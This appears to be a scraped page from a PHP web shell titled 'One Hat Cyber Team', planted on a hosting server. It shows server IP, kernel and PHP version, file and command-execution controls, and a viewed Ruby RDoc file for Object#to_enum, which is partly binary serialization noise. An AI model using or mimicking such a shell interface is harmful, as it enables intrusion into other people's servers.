⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.116
Server IP:
78.40.11.138
Server:
Linux tango.o2switch.net 4.18.0-553.30.1.lve.el8.x86_64 #1 SMP Tue Dec 3 01:21:19 UTC 2024 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
alt
/
ruby19
/
share
/
ri
/
1.9.1
/
system
/
Object
/
View File Name :
to_enum-i.ri
U:RDoc::AnyMethod[iI"to_enum:ETI"Object#to_enum;FF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"LCreates a new Enumerator which will enumerate by on calling +method+ on;TI"+obj+.;To:RDoc::Markup::BlankLine o:RDoc::Markup::List: @type: NOTE:@items[o:RDoc::Markup::ListItem:@labelI" +method+;T; [o; ; [I"<the method to call on +obj+ to generate the enumeration;To;;I"+args+;T; [o; ; [I"Aarguments that will be passed in +method+ <i>in addition</i>;TI"6to the item itself. Note that the number of args;TI"4must not exceed the number expected by +method+;T@S:RDoc::Markup::Heading: leveli: textI"Example;T@o:RDoc::Markup::Verbatim; [I"str = "xyz" ;FI" ;FI"%enum = str.enum_for(:each_byte) ;FI"enum.each { |b| puts b } ;FI"# => 120 ;FI"# => 121 ;FI"# => 122 ;FI" ;FI";# protect an array from being modified by some_method ;FI"a = [1, 2, 3] ;FI"some_method(a.to_enum);F: @file0I"Mobj.to_enum(method = :each, *args) obj.enum_for(method = :each, *args) ;T0[ I"(*args);FI"enumerator.c;T